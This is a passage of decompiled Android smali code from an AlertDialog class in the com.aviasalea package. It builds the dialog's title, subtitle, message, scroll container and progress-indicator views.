                                      115const/4 v8, 0x0
                                      117invoke-static/range {v2 .. v8}, Lcom/aviasalea/base/dialog/LayoutHelper;->createLinear(IIIIIII)Landroid/widget/LinearLayout$LayoutParams;
                                      118move-result-object v2
                                      119move-object/from16 v0, v23
                                      121invoke-virtual {v12, v0, v2}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      122cond_b1: move-object/from16 v0, p0
                                      124iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->title:Ljava/lang/CharSequence;
                                      125if-eqz v2, :cond_114
                                      126new-instance v2, Landroid/widget/TextView;
                                      128invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      129move-result-object v3
                                      131invoke-direct {v2, v3}, Landroid/widget/TextView;-><init>(Landroid/content/Context;)V
                                      132move-object/from16 v0, p0
                                      133iput-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->titleTextView:Landroid/widget/TextView;
                                      134move-object/from16 v0, p0
                                      136iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->titleTextView:Landroid/widget/TextView;
                                      137move-object/from16 v0, p0
                                      139iget-object v3, v0, Lcom/aviasalea/base/dialog/AlertDialog;->title:Ljava/lang/CharSequence;
                                      141invoke-virtual {v2, v3}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                                      142move-object/from16 v0, p0
                                      144iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->titleTextView:Landroid/widget/TextView;
                                      146invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      147move-result-object v3
                                      148const v4, 0x106000c
                                      150invoke-static {v3, v4}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      151move-result v3
                                      153invoke-virtual {v2, v3}, Landroid/widget/TextView;->setTextColor(I)V
                                      154move-object/from16 v0, p0
                                      156iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->titleTextView:Landroid/widget/TextView;
                                      157const/4 v3, 0x1
                                      158const/high16 v4, 0x41a00000 # 20.0f
                                      160invoke-virtual {v2, v3, v4}, Landroid/widget/TextView;->setTextSize(IF)V
                                      161move-object/from16 v0, p0
                                      163iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->titleTextView:Landroid/widget/TextView;
                                      164const/16 v3, 0x33
                                      166invoke-virtual {v2, v3}, Landroid/widget/TextView;->setGravity(I)V
                                      167move-object/from16 v0, p0
                                      169iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog;->titleTextView:Landroid/widget/TextView;
                                      170move-object/from16 v23, v0
                                      171const/4 v2, -0x2
                                      172const/4 v3, -0x2
                                      173const/16 v4, 0x33
                                      174const/16 v5, 0x18
                                      175const/16 v6, 0x13
                                      176const/16 v7, 0x18
                                      177move-object/from16 v0, p0
                                      179iget-object v8, v0, Lcom/aviasalea/base/dialog/AlertDialog;->subtitle:Ljava/lang/CharSequence;
                                      180if-eqz v8, :cond_352
                                      181const/4 v8, 0x2
                                      182goto_10b:
                                      183invoke-static/range {v2 .. v8}, Lcom/aviasalea/base/dialog/LayoutHelper;->createLinear(IIIIIII)Landroid/widget/LinearLayout$LayoutParams;
                                      184move-result-object v2
                                      185move-object/from16 v0, v23
                                      187invoke-virtual {v12, v0, v2}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      188cond_114: move-object/from16 v0, p0
                                      190iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->subtitle:Ljava/lang/CharSequence;
                                      191if-eqz v2, :cond_177
                                      192new-instance v2, Landroid/widget/TextView;
                                      194invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      195move-result-object v3
                                      197invoke-direct {v2, v3}, Landroid/widget/TextView;-><init>(Landroid/content/Context;)V
                                      198move-object/from16 v0, p0
                                      199iput-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->subtitleTextView:Landroid/widget/TextView;
                                      200move-object/from16 v0, p0
                                      202iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->subtitleTextView:Landroid/widget/TextView;
                                      203move-object/from16 v0, p0
                                      205iget-object v3, v0, Lcom/aviasalea/base/dialog/AlertDialog;->subtitle:Ljava/lang/CharSequence;
                                      207invoke-virtual {v2, v3}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                                      208move-object/from16 v0, p0
                                      210iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->subtitleTextView:Landroid/widget/TextView;
                                      212invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      213move-result-object v3
                                      214const v4, 0x106000c
                                      216invoke-static {v3, v4}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      217move-result v3
                                      219invoke-virtual {v2, v3}, Landroid/widget/TextView;->setTextColor(I)V
                                      220move-object/from16 v0, p0
                                      222iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->subtitleTextView:Landroid/widget/TextView;
                                      223const/4 v3, 0x1
                                      224const/high16 v4, 0x41600000 # 14.0f
                                      226invoke-virtual {v2, v3, v4}, Landroid/widget/TextView;->setTextSize(IF)V
                                      227move-object/from16 v0, p0
                                      229iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->subtitleTextView:Landroid/widget/TextView;
                                      230const/16 v3, 0x33
                                      232invoke-virtual {v2, v3}, Landroid/widget/TextView;->setGravity(I)V
                                      233move-object/from16 v0, p0
                                      235iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog;->subtitleTextView:Landroid/widget/TextView;
                                      236move-object/from16 v23, v0
                                      237const/4 v2, -0x2
                                      238const/4 v3, -0x2
                                      239const/16 v4, 0x33
                                      240const/16 v5, 0x18
                                      241const/4 v6, 0x0
                                      242const/16 v7, 0x18
                                      243move-object/from16 v0, p0
                                      245iget-object v8, v0, Lcom/aviasalea/base/dialog/AlertDialog;->items:[Ljava/lang/CharSequence;
                                      246if-eqz v8, :cond_360
                                      247const/16 v8, 0xe
                                      248goto_16e:
                                      249invoke-static/range {v2 .. v8}, Lcom/aviasalea/base/dialog/LayoutHelper;->createLinear(IIIIIII)Landroid/widget/LinearLayout$LayoutParams;
                                      250move-result-object v2
                                      251move-object/from16 v0, v23
                                      253invoke-virtual {v12, v0, v2}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      254cond_177: move-object/from16 v0, p0
                                      255iget v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->progressViewStyle:I
                                      256if-nez v2, :cond_243
                                      257move-object/from16 v0, p0
                                      259iget-object v3, v0, Lcom/aviasalea/base/dialog/AlertDialog;->shadow:[Landroid/graphics/drawable/BitmapDrawable;
                                      260const/4 v4, 0x0
                                      262invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      263move-result-object v2
                                      265invoke-virtual {v2}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                      266move-result-object v2
                                      267const/high16 v5, 0x7f090000
                                      269invoke-virtual {v2, v5}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
                                      270move-result-object v2
                                      272invoke-virtual {v2}, Landroid/graphics/drawable/Drawable;->mutate()Landroid/graphics/drawable/Drawable;
                                      273move-result-object v2
                                      274check-cast v2, Landroid/graphics/drawable/BitmapDrawable;
                                      275aput-object v2, v3, v4
                                      276move-object/from16 v0, p0
                                      278iget-object v3, v0, Lcom/aviasalea/base/dialog/AlertDialog;->shadow:[Landroid/graphics/drawable/BitmapDrawable;
                                      279const/4 v4, 0x1
                                      281invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      282move-result-object v2
                                      284invoke-virtual {v2}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                      285move-result-object v2
                                      286const v5, 0x7f090001
                                      288invoke-virtual {v2, v5}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
                                      289move-result-object v2
                                      291invoke-virtual {v2}, Landroid/graphics/drawable/Drawable;->mutate()Landroid/graphics/drawable/Drawable;
                                      292move-result-object v2
                                      293check-cast v2, Landroid/graphics/drawable/BitmapDrawable;
                                      294aput-object v2, v3, v4
                                      295move-object/from16 v0, p0
                                      297iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->shadow:[Landroid/graphics/drawable/BitmapDrawable;
                                      298const/4 v3, 0x0
                                      299aget-object v2, v2, v3
                                      300const/4 v3, 0x0
                                      302invoke-virtual {v2, v3}, Landroid/graphics/drawable/BitmapDrawable;->setAlpha(I)V
                                      303move-object/from16 v0, p0
                                      305iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->shadow:[Landroid/graphics/drawable/BitmapDrawable;
                                      306const/4 v3, 0x1
                                      307aget-object v2, v2, v3
                                      308const/4 v3, 0x0
                                      310invoke-virtual {v2, v3}, Landroid/graphics/drawable/BitmapDrawable;->setAlpha(I)V
                                      311move-object/from16 v0, p0
                                      313iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->shadow:[Landroid/graphics/drawable/BitmapDrawable;
                                      314const/4 v3, 0x0
                                      315aget-object v2, v2, v3
                                      316move-object/from16 v0, p0
                                      318invoke-virtual {v2, v0}, Landroid/graphics/drawable/BitmapDrawable;->setCallback(Landroid/graphics/drawable/Drawable$Callback;)V
                                      319move-object/from16 v0, p0
                                      321iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->shadow:[Landroid/graphics/drawable/BitmapDrawable;
                                      322const/4 v3, 0x1
                                      323aget-object v2, v2, v3
                                      324move-object/from16 v0, p0
                                      326invoke-virtual {v2, v0}, Landroid/graphics/drawable/BitmapDrawable;->setCallback(Landroid/graphics/drawable/Drawable$Callback;)V
                                      327new-instance v2, Lcom/aviasalea/base/dialog/AlertDialog$2;
                                      329invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      330move-result-object v3
                                      331move-object/from16 v0, p0
                                      333invoke-direct {v2, v0, v3}, Lcom/aviasalea/base/dialog/AlertDialog$2;-><init>(Lcom/aviasalea/base/dialog/AlertDialog;Landroid/content/Context;)V
                                      334move-object/from16 v0, p0
                                      335iput-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->contentScrollView:Landroid/widget/ScrollView;
                                      336move-object/from16 v0, p0
                                      338iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->contentScrollView:Landroid/widget/ScrollView;
                                      339const/4 v3, 0x0
                                      341invoke-virtual {v2, v3}, Landroid/widget/ScrollView;->setVerticalScrollBarEnabled(Z)V
                                      342move-object/from16 v0, p0
                                      344iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->contentScrollView:Landroid/widget/ScrollView;
                                      346invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      347move-result-object v3
                                      348const v4, 0x7f030004
                                      350invoke-static {v3, v4}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      351move-result v3
                                      353invoke-static {v2, v3}, Lcom/aviasalea/checktls/AndroidUtilities;->setScrollViewEdgeEffectColor(Landroid/widget/ScrollView;I)V
                                      354move-object/from16 v0, p0
                                      356iget-object v8, v0, Lcom/aviasalea/base/dialog/AlertDialog;->contentScrollView:Landroid/widget/ScrollView;
                                      357const/4 v2, -0x1
                                      358const/4 v3, -0x2
                                      359const/4 v4, 0x0
                                      360const/4 v5, 0x0
                                      361const/4 v6, 0x0
                                      362const/4 v7, 0x0
                                      364invoke-static/range {v2 .. v7}, Lcom/aviasalea/base/dialog/LayoutHelper;->createLinear(IIFFFF)Landroid/widget/LinearLayout$LayoutParams;
                                      365move-result-object v2
                                      367invoke-virtual {v12, v8, v2}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      368new-instance v2, Landroid/widget/LinearLayout;
                                      370invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      371move-result-object v3
                                      373invoke-direct {v2, v3}, Landroid/widget/LinearLayout;-><init>(Landroid/content/Context;)V
                                      374move-object/from16 v0, p0
                                      375iput-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->scrollContainer:Landroid/widget/LinearLayout;
                                      376move-object/from16 v0, p0
                                      378iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->scrollContainer:Landroid/widget/LinearLayout;
                                      379const/4 v3, 0x1
                                      381invoke-virtual {v2, v3}, Landroid/widget/LinearLayout;->setOrientation(I)V
                                      382move-object/from16 v0, p0
                                      384iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->contentScrollView:Landroid/widget/ScrollView;
                                      385move-object/from16 v0, p0
                                      387iget-object v3, v0, Lcom/aviasalea/base/dialog/AlertDialog;->scrollContainer:Landroid/widget/LinearLayout;
                                      388new-instance v4, Landroid/widget/FrameLayout$LayoutParams;
                                      389const/4 v5, -0x1
                                      390const/4 v6, -0x2
                                      392invoke-direct {v4, v5, v6}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V
                                      394invoke-virtual {v2, v3, v4}, Landroid/widget/ScrollView;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      395cond_243: new-instance v2, Landroid/widget/TextView;
                                      397invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      398move-result-object v3
                                      400invoke-direct {v2, v3}, Landroid/widget/TextView;-><init>(Landroid/content/Context;)V
                                      401move-object/from16 v0, p0
                                      402iput-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      403move-object/from16 v0, p0
                                      405iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      407invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      408move-result-object v3
                                      409const v4, 0x106000c
                                      411invoke-static {v3, v4}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      412move-result v3
                                      414invoke-virtual {v2, v3}, Landroid/widget/TextView;->setTextColor(I)V
                                      415move-object/from16 v0, p0
                                      417iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      418const/4 v3, 0x1
                                      419const/high16 v4, 0x41800000 # 16.0f
                                      421invoke-virtual {v2, v3, v4}, Landroid/widget/TextView;->setTextSize(IF)V
                                      422move-object/from16 v0, p0
                                      424iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      425const/16 v3, 0x33
                                      427invoke-virtual {v2, v3}, Landroid/widget/TextView;->setGravity(I)V
                                      428move-object/from16 v0, p0
                                      429iget v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->progressViewStyle:I
                                      430const/4 v3, 0x1
                                      431if-ne v2, v3, :cond_367
                                      432new-instance v2, Landroid/widget/FrameLayout;
                                      434invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      435move-result-object v3
                                      437invoke-direct {v2, v3}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;)V
                                      438move-object/from16 v0, p0
                                      439iput-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->progressViewContainer:Landroid/widget/FrameLayout;
                                      440move-object/from16 v0, p0
                                      442iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog;->progressViewContainer:Landroid/widget/FrameLayout;
                                      443move-object/from16 v23, v0
                                      444const/4 v2, -0x1
                                      445const/16 v3, 0x2c
                                      446const/16 v4, 0x33
                                      447const/16 v5, 0x17
                                      448move-object/from16 v0, p0
                                      450iget-object v6, v0, Lcom/aviasalea/base/dialog/AlertDialog;->title:Ljava/lang/CharSequence;
                                      451if-nez v6, :cond_364
                                      452const/16 v6, 0x18
                                      453goto_29e: const/16 v7, 0x17
                                      454const/16 v8, 0x18
                                      456invoke-static/range {v2 .. v8}, Lcom/aviasalea/base/dialog/LayoutHelper;->createLinear(IIIIIII)Landroid/widget/LinearLayout$LayoutParams;
                                      457move-result-object v2
                                      458move-object/from16 v0, v23
                                      460invoke-virtual {v12, v0, v2}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      461new-instance v18, Lcom/aviasalea/base/dialog/RadialProgressView;
                                      463invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      464move-result-object v2
                                      465move-object/from16 v0, v18
                                      467invoke-direct {v0, v2}, Lcom/aviasalea/base/dialog/RadialProgressView;-><init>(Landroid/content/Context;)V
                                      469invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      470move-result-object v2
                                      471const v3, 0x7f030003
                                      473invoke-static {v2, v3}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      474move-result v2
                                      475move-object/from16 v0, v18
                                      477invoke-virtual {v0, v2}, Lcom/aviasalea/base/dialog/RadialProgressView;->setProgressColor(I)V
                                      478const/16 v2, 0x2c
                                      479const/16 v3, 0x2c
                                      480const/16 v4, 0x33
                                      482invoke-static {v2, v3, v4}, Lcom/aviasalea/base/dialog/LayoutHelper;->createFrame(III)Landroid/widget/FrameLayout$LayoutParams;
                                      483move-result-object v15
                                      484move-object/from16 v0, p0
                                      486iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->progressViewContainer:Landroid/widget/FrameLayout;
                                      487move-object/from16 v0, v18
                                      489invoke-virtual {v2, v0, v15}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      490move-object/from16 v0, p0
                                      492iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      493const/4 v3, 0x1
                                      495invoke-virtual {v2, v3}, Landroid/widget/TextView;->setLines(I)V
                                      496move-object/from16 v0, p0
                                      498iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      499const/4 v3, 0x1
                                      501invoke-virtual {v2, v3}, Landroid/widget/TextView;->setSingleLine(Z)V
                                      502move-object/from16 v0, p0
                                      504iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      506sget-object v3, Landroid/text/TextUtils$TruncateAt;->END:Landroid/text/TextUtils$TruncateAt;
                                      508invoke-virtual {v2, v3}, Landroid/widget/TextView;->setEllipsize(Landroid/text/TextUtils$TruncateAt;)V
                                      509move-object/from16 v0, p0
                                      511iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog;->progressViewContainer:Landroid/widget/FrameLayout;
                                      512move-object/from16 v23, v0
                                      513move-object/from16 v0, p0
                                      515iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      516move-object/from16 v24, v0
                                      517const/4 v2, -0x2
                                      518const/high16 v3, -0x40000000 # -2.0f
                                      519const/16 v4, 0x13
                                      520const/high16 v5, 0x42780000 # 62.0f
                                      521const/4 v6, 0x0
                                      522const/4 v7, 0x0
                                      523const/4 v8, 0x0
                                      525invoke-static/range {v2 .. v8}, Lcom/aviasalea/base/dialog/LayoutHelper;->createFrame(IFIFFFF)Landroid/widget/FrameLayout$LayoutParams;
                                      526move-result-object v2
                                      527move-object/from16 v0, v23
                                      528move-object/from16 v1, v24
                                      530invoke-virtual {v0, v1, v2}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      531goto_313: move-object/from16 v0, p0
                                      533iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->message:Ljava/lang/CharSequence;
                                      535invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                      536move-result v2
                                      537if-nez v2, :cond_46f
                                      538move-object/from16 v0, p0
                                      540iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      541move-object/from16 v0, p0
                                      543iget-object v3, v0, Lcom/aviasalea/base/dialog/AlertDialog;->message:Ljava/lang/CharSequence;
                                      545invoke-virtual {v2, v3}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                                      546move-object/from16 v0, p0
                                      548iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      549const/4 v3, 0x0
                                      551invoke-virtual {v2, v3}, Landroid/widget/TextView;->setVisibility(I)V
                                      552goto_330: move-object/from16 v0, p0
                                      554iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->items:[Ljava/lang/CharSequence;
                                      555if-eqz v2, :cond_4bb
                                      556const/16 v19, 0x0
                                      557const/4 v14, 0x0
                                      558const/4 v9, 0x0
                                      559goto_33a: move-object/from16 v0, p0
                                      561iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->items:[Ljava/lang/CharSequence;
                                      562array-length v2, v2
                                      563if-ge v9, v2, :cond_4bb
                                      564move-object/from16 v0, p0
                                      566iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->items:[Ljava/lang/CharSequence;
                                      567aget-object v2, v2, v9
                                      568if-nez v2, :cond_47a
                                      569goto_349: add-int/lit8 v9, v9, 0x1
                                      570goto/16 :goto_33a
                                      571cond_34c: const/4 v2, 0x0
                                      572goto/16 :goto_20
                                      573cond_34f: const/4 v13, 0x0
                                      574goto/16 :goto_3b
                                      575cond_352: move-object/from16 v0, p0
                                      577iget-object v8, v0, Lcom/aviasalea/base/dialog/AlertDialog;->items:[Ljava/lang/CharSequence;
                                      578if-eqz v8, :cond_35c
                                      579const/16 v8, 0xe
                                      580goto/16 :goto_10b
                                      581cond_35c: const/16 v8, 0xa
                                      582goto/16 :goto_10b
                                      583cond_360: const/16 v8, 0xa
                                      584goto/16 :goto_16e
                                      585cond_364: const/4 v6, 0x0
                                      586goto/16 :goto_29e
                                      587cond_367: move-object/from16 v0, p0
                                      588iget v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->progressViewStyle:I
                                      589const/4 v3, 0x2
                                      590if-ne v2, v3, :cond_43d
                                      591move-object/from16 v0, p0
                                      593iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      594move-object/from16 v23, v0
                                      595const/4 v2, -0x2
                                      596const/4 v3, -0x2
                                      597const/16 v4, 0x33
                                      598const/16 v5, 0x18
                                      599move-object/from16 v0, p0
                                      601iget-object v6, v0, Lcom/aviasalea/base/dialog/AlertDialog;->title:Ljava/lang/CharSequence;
                                      602if-nez v6, :cond_43a
                                      603const/16 v6, 0x13
                                      604goto_382: const/16 v7, 0x18
                                      605const/16 v8, 0x14
                                      607invoke-static/range {v2 .. v8}, Lcom/aviasalea/base/dialog/LayoutHelper;->createLinear(IIIIIII)Landroid/widget/LinearLayout$LayoutParams;
                                      608move-result-object v2
                                      609move-object/from16 v0, v23
                                      611invoke-virtual {v12, v0, v2}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      612new-instance v2, Lcom/aviasalea/base/dialog/LineProgressView;
                                      614invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      615move-result-object v3
                                      617invoke-direct {v2, v3}, Lcom/aviasalea/base/dialog/LineProgressView;-><init>(Landroid/content/Context;)V
                                      618move-object/from16 v0, p0
                                      619iput-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->lineProgressView:Lcom/aviasalea/base/dialog/LineProgressView;
                                      620move-object/from16 v0, p0
                                      622iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->lineProgressView:Lcom/aviasalea/base/dialog/LineProgressView;
                                      623move-object/from16 v0, p0
                                      624iget v3, v0, Lcom/aviasalea/base/dialog/AlertDialog;->currentProgress:I
                                      625int-to-float v3, v3
                                      626const/high16 v4, 0x42c80000 # 100.0f
                                      627div-float/2addr v3, v4
                                      628const/4 v4, 0x0
                                      630invoke-virtual {v2, v3, v4}, Lcom/aviasalea/base/dialog/LineProgressView;->setProgress(FZ)V
                                      631move-object/from16 v0, p0
                                      633iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->lineProgressView:Lcom/aviasalea/base/dialog/LineProgressView;
                                      635invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      636move-result-object v3
                                      637const v4, 0x7f030001
                                      639invoke-static {v3, v4}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      640move-result v3
                                      642invoke-virtual {v2, v3}, Lcom/aviasalea/base/dialog/LineProgressView;->setProgressColor(I)V
                                      643move-object/from16 v0, p0
                                      645iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->lineProgressView:Lcom/aviasalea/base/dialog/LineProgressView;
                                      647invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      648move-result-object v3
                                      649const v4, 0x7f030002
                                      651invoke-static {v3, v4}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      652move-result v3
                                      654invoke-virtual {v2, v3}, Lcom/aviasalea/base/dialog/LineProgressView;->setBackColor(I)V
                                      655move-object/from16 v0, p0
                                      657iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog;->lineProgressView:Lcom/aviasalea/base/dialog/LineProgressView;
                                      658move-object/from16 v23, v0
                                      659const/4 v2, -0x1
                                      660const/4 v3, 0x4
                                      661const/16 v4, 0x13
                                      662const/16 v5, 0x18
                                      663const/4 v6, 0x0
                                      664const/16 v7, 0x18
                                      665const/4 v8, 0x0
                                      667invoke-static/range {v2 .. v8}, Lcom/aviasalea/base/dialog/LayoutHelper;->createLinear(IIIIIII)Landroid/widget/LinearLayout$LayoutParams;
                                      668move-result-object v2
                                      669move-object/from16 v0, v23
                                      671invoke-virtual {v12, v0, v2}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      672new-instance v2, Landroid/widget/TextView;
                                      674invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      675move-result-object v3
                                      677invoke-direct {v2, v3}, Landroid/widget/TextView;-><init>(Landroid/content/Context;)V
                                      678move-object/from16 v0, p0
                                      679iput-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->lineProgressViewPercent:Landroid/widget/TextView;
                                      680move-object/from16 v0, p0
                                      682iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->lineProgressViewPercent:Landroid/widget/TextView;
                                      683const/16 v3, 0x33
                                      685invoke-virtual {v2, v3}, Landroid/widget/TextView;->setGravity(I)V
                                      686move-object/from16 v0, p0
                                      688iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->lineProgressViewPercent:Landroid/widget/TextView;
                                      690invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      691move-result-object v3
                                      692const v4, 0x106000c
                                      694invoke-static {v3, v4}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      695move-result v3
                                      697invoke-virtual {v2, v3}, Landroid/widget/TextView;->setTextColor(I)V
                                      698move-object/from16 v0, p0
                                      700iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->lineProgressViewPercent:Landroid/widget/TextView;
                                      701const/4 v3, 0x1
                                      702const/high16 v4, 0x41600000 # 14.0f
                                      704invoke-virtual {v2, v3, v4}, Landroid/widget/TextView;->setTextSize(IF)V
                                      705move-object/from16 v0, p0
                                      707iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog;->lineProgressViewPercent:Landroid/widget/TextView;
                                      708move-object/from16 v23, v0
                                      709const/4 v2, -0x2
                                      710const/4 v3, -0x2
                                      711const/16 v4, 0x33
                                      712const/16 v5, 0x17
                                      713const/4 v6, 0x4
                                      714const/16 v7, 0x17
                                      715const/16 v8, 0x18
                                      717invoke-static/range {v2 .. v8}, Lcom/aviasalea/base/dialog/LayoutHelper;->createLinear(IIIIIII)Landroid/widget/LinearLayout$LayoutParams;
                                      718move-result-object v2
                                      719move-object/from16 v0, v23
                                      721invoke-virtual {v12, v0, v2}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      723invoke-direct/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->updateLineProgressTextView()V
                                      724goto/16 :goto_313
                                      725cond_43a: const/4 v6, 0x0
                                      726goto/16 :goto_382
